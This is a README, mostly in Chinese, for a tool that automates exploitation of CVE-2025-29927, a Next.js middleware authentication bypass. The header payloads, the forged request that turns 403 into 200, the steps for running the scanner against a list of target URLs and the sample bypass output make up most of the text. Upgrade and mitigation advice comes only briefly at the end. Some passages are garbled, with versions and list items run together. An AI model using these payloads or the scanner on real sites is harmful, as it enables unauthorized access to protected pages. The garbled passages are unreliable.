
CVE-2025-29927: Next.js Middleware Exploit
该工具演示并自动化利用 CVE-2025-29927,这是一个存在于 Next.js 中的漏洞,攻击者可利用内部请求头 x-middleware-subrequest 绕过中间件检查(如身份验证)。
Next.js 内部使用 x-middleware-subrequest 请求头来防止递归请求中的无限循环。然而,在某些版本中,该请求头并未针对外部篡改进行保护,恶意攻击者可以对其进行伪造。
通过手动设置该请求头,负责执行身份验证、重定向、日志记录或过滤的中间件逻辑将被完全跳过。
x-middleware-subrequest 载荷403 变为 20015.2.314.2.2513.5.9next start 且输出为 standalone)next export)正常请求:
GET /admin --> 403 Forbidden
带请求头的请求:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
即使目标通过中间件检查身份验证,该漏洞也能完全绕过它。
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
创建一个名为 urls.txt 的文件,每行一个 URL:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
向每个 URL 发送带和不带利用请求头的请求
使用多种载荷变体:
middlewarepages/_middlewaresrc/middleware记录:
middleware_exploited.txt:真正的绕过(403 → 200)middleware_response_diff.txt:响应内容不同立即将 Next.js 升级到安全版本:
15.2.3+14.2.25+13.5.9+此外:
getServerSideProps、JWT、会话)[✔] Bypass successful: https://target.com/admin (payload: middleware)
[•] Response difference detected: https://target.com/login (payload: src/middleware)
[✔] Found 3 bypasses > middleware_exploited.txt
[•] Found 5 response diffs > middleware_response_diff.txt